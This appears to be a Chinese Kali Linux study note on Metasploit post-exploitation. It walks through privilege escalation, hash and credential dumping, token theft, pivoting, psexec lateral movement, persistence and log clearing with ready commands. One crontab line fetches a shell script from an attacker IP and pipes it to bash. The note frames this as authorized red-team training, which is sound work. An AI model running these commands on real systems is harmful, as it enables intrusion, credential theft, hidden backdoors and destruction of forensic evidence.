开头先交代一个场景:某次授权红队演练中,我已经通过一个Web漏洞拿到了目标系统的Meterpreter会话,shell弹了出来,心里一阵激动。但紧接着问题就来了——接下来该干什么?是直接翻文件、抓哈希,还是赶紧提权?这一步走错了,轻则会话掉线,重则触发告警、前功尽弃。这篇笔记是Kali Linux学习笔记系列的第九十八篇,继续Metasploit Framework的后渗透阶段(二),重点梳理拿到会话之后的完整操作链路:会话管理、信息收集、提权、凭据获取、横向移动、权限维持与痕迹清理。适合正在系统学习MSF的后渗透用法、或者准备转向红队方向的朋友参考,也适合蓝队同学从攻击视角反推检测思路。需要提醒的是,所有操作都必须在获得合法授权的环境中进行,抛开授权谈渗透没有任何意义。
1. 后渗透阶段的全局设计:拿到会话之后的第一件事
1.1 会话:所有后渗透操作的地基
后渗透阶段的一切操作都建立在“会话存活”这个前提之上。Meterpreter会话本质上是控制端与被控端之间的一条加密通信链路,你之后的每条命令、每个模块,都要沿着这条链路送进目标机器。如果会话中途断掉,哪怕你已经跑完了半个信息收集流程,也只能从头再来,甚至彻底失去访问权限。
所以拿到会话后的第一个步骤,不是急着看文件、不是马上执行提权,而是确认会话的存活状态和基本参数。常用的会话管理命令就三个:
sessions -l:列出当前所有会话,确认会话ID和类型。sessions -i <id>:进入指定会话。background:把当前会话挂到后台,返回MSF主控制台。
我最早犯过的错误就是拿到shell之后,在交互式shell里直接执行一条长时间挂起的命令,比如扫描内网端口,结果控制台卡住,会话超时断开。现在我的习惯是:所有耗时操作一律挂到后台跑,并且把这些操作拆成短任务执行,降低掉线概率。会话这个东西,稳住了才算真正掌握主动权。
1.2 摸清家底:系统信息、身份与网络
进入会话之后,第二件事是快速摸清目标的基本状态。这些信息直接决定后续的提权和横向移动方向。我在实际项目中固定的信息收集顺序是这样的:
getuid:查看当前用户在目标系统上的身份。是普通用户、管理员还是SYSTEM,一目了然。sysinfo:查看系统版本、内核、架构。这一步非常关键,因为后续选择提权模块时,系统版本不匹配等于白忙。getpid/ps:查看当前Meterpreter进程的PID以及系统进程列表。进程列表的作用有两个:一是判断哪些进程以高权限运行、可以作为迁移目标;二是识别目标机器上是否跑了杀毒软件、EDR等防御进程。ipconfig/ifconfig:查看网卡配置,重点是判断当前主机连接了几个网段。route:查看路由表,看看是否存在可到达的内网网段。
这些命令本身没有太高技术含量,但很多人不知道为什么要先做这个动作。举个例子,sysinfo得到的目标系统是Windows Server 2016,那我基本不会再考虑那些针对Windows 7/8的古老UAC绕过方案,也不会去碰对Server 2016无效的内核漏洞;ipconfig看到主机同时连着办公网段和服务器网段,那就说明这台机器有横向移动的价值——它可以成为通向服务器区的跳板。信息收集的质量决定了后面每一步的选择空间。
1.3 自动化收集脚本提高效率
手敲命令确实能收集信息,但后渗透阶段最宝贵的是时间窗口。目标主机可能随时关机、断网、触发响应机制,所以信息收集必须尽可能一次到位。MSF提供了大量post模块,可以把信息收集自动化。
这里有几个我在实战中高频使用的:
run post/multi/recon/local_exploit_suggester:自动检查本地系统中可能存在的可利用漏洞,直接给出一份提权模块候选清单。run post/windows/gather/win_privs:Windows平台下查看当前用户权限和系统权限,适合在做提权之前快速确认自己到底缺什么权限。run post/linux/gather/enum_configs:Linux平台下自动收集系统配置类文件,比如网络配置、sudo配置、计划任务等。
自动化脚本最大的价值在于“全”:手工收集时可能漏掉某个不起眼但关键的配置文件,脚本能帮你把这些边角料翻出来。我习惯的做法是:手工敲一遍基础命令,再用脚本做一次全量扫描,两边结合起来看结果。不要完全依赖脚本,也别完全排斥脚本。
2. 权限提升:从普通权限到最高权限
2.1 先分清是“漏洞型”还是“配置型”提权
提权是整个后渗透阶段最让人兴奋也最容易翻车的一步。很多人一进会话就直接跑提权模块,恨不得一把梭哈拿到SYSTEM。实际上,科学的思路是先判断目标环境适合走哪条路。我把提权方案分成两类:
- 漏洞型提权:依赖系统或软件漏洞,比如内核漏洞、UAC绕过。特点是一次性投入低、见效快,但成功率受系统补丁影响很大,而且操作不当很容易把目标打崩溃。
- 配置型提权:依赖目标自身配置不当,比如sudo配置错误、服务权限过大、计划任务可写。特点是不需要硬怼内核,对系统稳定性影响小,但需要你耐心地去翻各种配置文件。
用一个生活化的类比:漏洞型提权像是撬锁,你的工具能不能打开这扇门,取决于门锁新旧程度;配置型提权像是捡到了一把别人落在门口的钥匙,只要你有心,找一找总能翻到几把。实战环境里,配置型提权的成功率和稳定性往往比漏洞型更高,但它要求你对Linux/Windows的权限体系有更细的理解。
2.2 漏洞型提权:从suggester到实际利用
漏洞型提权的标准流程是:先用扫描模块定位候选漏洞,再逐一尝试利用。具体操作如下:
- 先把当前会话挂到后台:
background。 - 加载本地漏洞探测模块:
use post/multi/recon/local_exploit_suggester set SESSION 1 run- 模块跑完后,会列出目标系统上可能存在的漏洞以及对应的利用模块。这时候不要看到一堆模块就挨个试。我选择模块的原则是:
- 优先选择与目标系统版本、语言版本完全匹配的模块。
- 优先选择评分高、更新频繁、社区反馈稳定的模块。
- 避免选择已知会导致目标蓝屏或崩溃的模块,除非你已经做好测试环境验证。
- 选定模块后设置参数并运行:
use exploit/windows/local/<specific_module> set SESSION 1 set LHOST <你的IP> set LPORT <监听端口> run这里有一个很重要的实操细节:在Windows 7以上、特别是Windows 10/Server 2016之后,很多本地提权模块要求Meterpreter会话已经位于一个稳定的进程中。如果当前会话挂在一个容易崩溃的进程里,提权模块运行过程中极有可能把目标进程带崩。所以遇到提权前置条件报错时,不要硬来,先执行migrate把会话迁到稳定进程,再重新尝试提权模块。
2.3 配置型提权:被忽略的“常规武器”
如果说漏洞型提权是花活,那配置型提权就是实打实的内功。分享几个我在项目里遇到过的典型场景:
- Linux下先看
sudo -l,确认当前用户能免密执行哪些命令。曾遇到过某台Linux服务器上普通用户被授权免密执行/usr/bin/visudo,这就等于给了你修改sudo配置的权限。 - 看系统计划任务
/etc/crontab以及/etc/cron.d/下是否存在以root权限运行的脚本,并且这些脚本对当前用户可写。改掉脚本内容,等计划任务触发,就相当于拿到root权限。 - Windows下检查注册表项
AlwaysInstallElevated是否为1,如果是,意味着任何用户都能以高权限安装MSI包,直接生成一个MSI木马就能实现提权。 - 检查Windows服务路径权限,某些服务的可执行文件所在目录对普通用户可写,替换文件后重启服务即可以SYSTEM权限执行。
配置型提权的好处是稳定、安静,不容易触发系统防护。坏处是需要你耐心翻文件、逐项检查配置。我的习惯是:漏洞型提权失败时,换配置型思路重新梳理目标,往往会有意外收获。
2.4 提权失败后的处理思路
提权不是必须成功的。遇到所有提权模块都失败的情况,我的建议是三件事:
- 不要死磕同一个模块,换模块、换思路。
- 执行
migrate到不同进程中重新尝试。 - 评估一下:当前权限是否已经够用?如果目标是拿数据、翻资料,普通用户权限往往已经能解决大部分问题;如果目标是拿域控、横向移动,那就需要接着打通权限链。
后渗透阶段有一个很容易犯的毛病——一心只想着提权到最高权限,忘了最初的目标是什么。目标导向才是后渗透的核心思维。
3. 凭据获取与信息深度收集
3.1 抓哈希与离线破解
凭据是后渗透阶段最有价值的战利品之一。拿到目标机器的密码哈希,不仅意味着可以尝试离线破解,还可能直接用于横向移动中的哈希传递攻击。
Windows平台上最基础的操作是hashdump,直接读取SAM数据库中的本地账户哈希。不过这个命令运行需要SYSTEM权限。如果你已经提权到SYSTEM,可以跑一下;如果权限不够,可以尝试:
run post/windows/gather/smart_hashdump它会自动尝试从SAM、域数据库等位置提取哈希,并优先提取域账户和本地管理员账户。
需要特别注意的是Windows 10和Server 2016之后的系统默认启用了DPAPI保护,部分情况下直接读SAM可能拿不到明文可用的哈希,这时候可以考虑借助Mimikatz的思路从LSASS进程内存中提取凭据。
Linux平台上,凭据获取主要瞄准/etc/shadow。拿到shadow和passwd文件后,本地用john离线破解:
unshadow passwd shadow > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt我踩过的坑是:拿到哈希后直接在目标机器上跑破解,占资源不说,还容易触发杀软。正确做法是把哈希文件下载到本地攻击机处理,目标机器上只保留最小操作痕迹。
3.2 浏览器、终端历史与配置文件
密码这种资产远不止存在于系统数据库里。实际项目中我发现,真正高价值的凭据往往藏在运维人员的使用习惯里。具体来说:
- Windows目标上查看浏览器保存的密码、Cookie和IE/Edge缓存,可以找到内网Web系统的登录凭据。
- Linux目标上优先翻
.bash_history,里面经常出现明文密码、路径、域名等信息。SSH私钥文件(~/.ssh/id_rsa)一旦拿到,配合端口转发可以直接复用到其他主机。 - 翻配置文件时重点关注
config.php、config.inc.php、.env这类文件,数据库口令、API密钥往往就写在里面。
MSF里也有一些现成的收集模块,比如run post/windows/gather/enum_ie_cache可以拉取IE浏览器的缓存记录,run post/multi/gather/env_vars可以看目标系统上的环境变量。虽然这些手段听起来比较“笨”,但在真实环境中,运维人员把数据库密码写在脚本注释里、把SSH私钥放在Web目录下的情况一点都不罕见。
3.3 网络与主机信息:为横向移动做准备
信息收集的另一个重点是梳理网络拓扑和主机间信任关系。这一步做得好,横向移动就是水到渠成的事;做得不好,就会变成无头苍蝇一样乱撞。
我常用的命令组合是:
- 查看ARP缓存,直接发现最近通信过的内网主机IP。
- 查看网络连接状态:Windows下用
netstat -ano,Linux下用ss -tnp,找出当前机器正在访问哪些IP和端口。 - 查看hosts文件和DNS后缀,判断是否处于域环境。
有了这些信息之后,我面前就会展开一张粗略的内网地图:哪台机器是域控、哪些机器是数据库服务器、哪些机器正在与当前主机通信。后续的横向移动路线就是沿着这张地图走的。
4. 横向移动与内网延伸
4.1 进程迁移:让会话活得更久
横向移动之前,先解决一个稳定性的问题。Meterpreter会话默认加载在攻击进程所在的父进程里,如果这个进程是浏览器、文档编辑器这类容易关闭的程序,用户一关窗口,会话就跟着没了。所以拿到会话后,我倾向于尽早migrate到系统级稳定进程。
migrate <目标进程PID>在Windows上,比较理想的目标是explorer.exe(资源管理器)和svchost.exe(系统服务宿主进程),它们存活时间长、权限较高、不容易被手动关闭。进程迁移还有一个额外的好处:避开原始漏洞点在防御日志上的关联性。
迁移前一定要先看ps输出,确认目标进程不是自己会重启的那种。我的经验是:迁移到winlogon.exe虽然权限高,但风险也大;explorer.exe最稳妥。
4.2 令牌窃取:快速拿到另一个用户的身份
令牌(Token)是Windows系统中用来标识用户身份的对象。如果当前会话已经是管理员权限,那就可以尝试加载incognito模块,窃取系统上其他用户(尤其是域管理员)的令牌,直接以对方的身份去访问资源。
load incognito list_tokens -u steal_token <PID>令牌窃取可以理解成“借用了一下别人的工作证”:你不需要知道对方的密码,只需要找到对方的令牌并冒用身份。实际项目中,我遇到过Local Administrator令牌和域管理员令牌同时出现在一台跳板机上的情况,用steal_token直接拿到域管理员身份,后续整个域内横向移动都畅通无阻。
要注意的是令牌不是永久有效的。会话过期、目标用户注销都会导致令牌失效。所以拿到令牌后应该尽快使用,别攒着。
4.3 路由与代理:把MSF变成内网跳板
如果目标主机连接着多个网段,你就能以它为跳板向内网延伸。MSF里最常用的做法是:
- 使用autoroute添加路由规则:
run autoroute -s 172.16.1.0/24添加完路由后,MSF的后续模块就可以直接扫描内网主机,不再需要额外配置代理。
如果想让本机的nmap、浏览器等工具也能访问目标内网,就需要搭建代理。MSF兼容的方式是:
use auxiliary/server/socks_proxy set VERSION 4a set SRVHOST 127.0.0.1 run然后在本地配置proxychains:
proxychains nmap -sT -Pn 172.16.1.0/24代理的意义在于:MSF自带的扫描模块毕竟有限,有了代理,本机十多年的工具集全部可以接进来干活。特别是内网中存在特殊服务协议时,用代理配合本地专用工具,比硬套MSF模块高效得多。
4.4 常用横向移动模块:psexec家族的用法
横向移动的逻辑其实很简单:拿合法凭据,然后通过远程管理协议在别的机器上执行命令。MSF里最容易上手的就是psexec系列。
use exploit/windows/smb/psexec set RHOSTS 172.16.1.20 set SMBUser administrator set SMBPass <哈希或明文密码> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT <监听端口> runpsexec系列其实有三个变体:
psexec:经典版本,通过创建Windows服务来执行载荷。psexec_psh:基于PowerShell,适合在目标Windows 7以上系统上使用,而且走的是更灵活的执行链。psexec_command:执行单条命令而不是反弹完整shell,适合快速验证凭据有效性。
我的经验是,如果psexec直接报错,不要慌,先看报错原因,然后换psexec_psh或者检查目标是否开启admin$默认共享与445端口。横向移动就是这样,一个变体不通就换下一个,总能找到一个能用的。
5. 权限维持与痕迹清除
5.1 持久化后门:掉线后还能自动回来
拿到目标权限之后,如果希望下次还能便捷地进入,那就要考虑权限维持。MSF里最简单直接的持久化方式是利用persistence脚本:
run persistence -U -X -i 30 -p 4444 -r <攻击机IP>参数解释:
-U:用户登录时自动执行。-X:系统启动时自动执行。-i:回连间隔,单位秒。-p:回连端口。-r:攻击机IP。
这两条相当于给你装了一个“回头客入口”。但持久化是双刃剑:它做的事情动静不小,容易被杀软和EDR盯上,所以在真实项目中我会先解决免杀问题,再做持久化。
在Linux上做持久化通常会用到计划任务和SSH Authorized Keys:
echo "*/5 * * * * root curl http://你的IP/shell.sh | bash" >> /etc/crontab注意,持久化后门做一条还不够,要留多条备用路径。只依赖一条通道的话,一旦被对方清理干净,就彻底失去了后续访问能力。
5.2 日志与痕迹清除
后渗透操作会在目标机器上留下大量日志。Windows的日志主要存储在事件日志里,MSF提供了一条命令clearev,可以清除应用程序、系统、安全三类日志。用法很简单:
clearevLinux下需要处理的是shell历史记录和文件访问时间。删除历史记录文件或将其重命名为空文件是常见操作,比如:
> ~/.bash_history文件时间戳可以借助timestomp修改,伪造文件的修改时间、访问时间、创建时间,让取证人员判断不出文件是什么时候被动的。
清理日志有一个关键原则:要适度。举个例子,clearev会把所有安全日志全部清空,一旦蓝队看到一台机器日志干干净净,反而会在第一时间把它标记为异常。所以我的做法是:只清理自己操作涉及的那部分敏感日志,不搞“全盘清零”。
5.3 退出时怎么“打扫房间”
撤退阶段的干净程度决定了这次渗透行动被发现的风险。我的固定流程是:
- 用
background挂起所有会话,然后逐个kill掉。 - 检查是否为测试临时上传过文件,如果有,把临时工具从目标机器上删掉。
- 检查是否修改过计划任务、服务、注册表,凡是无关紧要的持久化都清理干净。
- 检查是否留下代理连接、端口转发进程,结束后统一拆除。
很多新手做完测试就跑了,不会在乎机器上留下了什么。但真实项目中,一个残留的临时文件就可能成为取证的关键线索。撤退不干净,等于前面所有努力全部作废。
6. 常见问题与排查技巧实录
6.1 会话总是掉线
这是后渗透初期最容易遇到的问题。会话掉线的原因通常有三种:
- 网络不稳定,攻击机和目标之间的链路波动。
- Meterpreter流量被目标机器上的杀毒软件或EDR识别并阻断。
- 会话挂载在一个不稳定的进程中,目标用户一关闭窗口就断开。
排查方法:先看本机监听状态是否正常,其次ps查看Meterpreter的父进程是否稳定,最后考虑切换加密方式或换用不落地文件的payload。如果流量被识别,单纯重连没有意义,需要把流量特征混淆之后重新生成载荷。
6.2 提权模块把目标打崩了
内核提权模块运行失败最坏的情况就是直接蓝屏或重启。遇到这种情况,我的态度很明确:这个模块在当前环境下不可用,果断放弃。破坏目标主机不仅会让你失去访问权限,还会直接影响授权测试的口碑。
避免打崩的办法:提前在同样系统版本的测试环境中跑一遍模块;运行前先migrate到稳定进程;优先选择那些被社区广泛验证过的模块,避开那些更新少、口碑差的冷门模块。
6.3 hashdump拿到的哈希不一致
hashdump输出的哈希出现AAD3B435...这种固定开头并不奇怪,空密码哈希的标准表示就是这串全零加固定前缀。拿到哈希后先用john或hashcat离线破解。需要提醒的是,哈希破解不是万能钥匙,能破解出来的通常只是弱口令;破解不出来的哈希不代表没用,它仍然可能被用于哈希传递攻击。
6.4 内网扫描速度慢
内网扫描慢通常不是MSF的问题,而是链路和代理的问题。扫描段越大、代理链越长,速度越慢。我的建议是:
- 先缩小扫描范围,优先扫描那些有业务价值、通信频繁的主机。
- 调整线程数和超时时间,避免全默认配置。
- 不要在整个网段上搞大范围全端口扫描,动静太大容易被发现。
6.5 持久化后门连接不上
persistence脚本设置了,但目标机重启后就是不回连。常见原因有三个:
- 本机防火墙没有放行监听端口。
- 目标机器出站方向被防火墙规则限制。
- payload架构和目标系统架构不匹配,比如在64位系统上设置了32位回连载荷。
排查时先在本机测试监听端口是否开放,再看目标侧出站限制,最后确认payload架构。逐层排查,比反复重试有效得多。
最后再分享一点个人感受。学了这么多MSF命令和模块之后,我发现后渗透阶段真正考验人的不是工具用得有多熟,而是信息判断和节奏控制。会话稳住、信息摸透、优先级排好,再一步步动手,比拿到会话就疯狂敲命令要靠谱得多。希望这篇笔记能帮你在实际授权项目中少走几个弯路。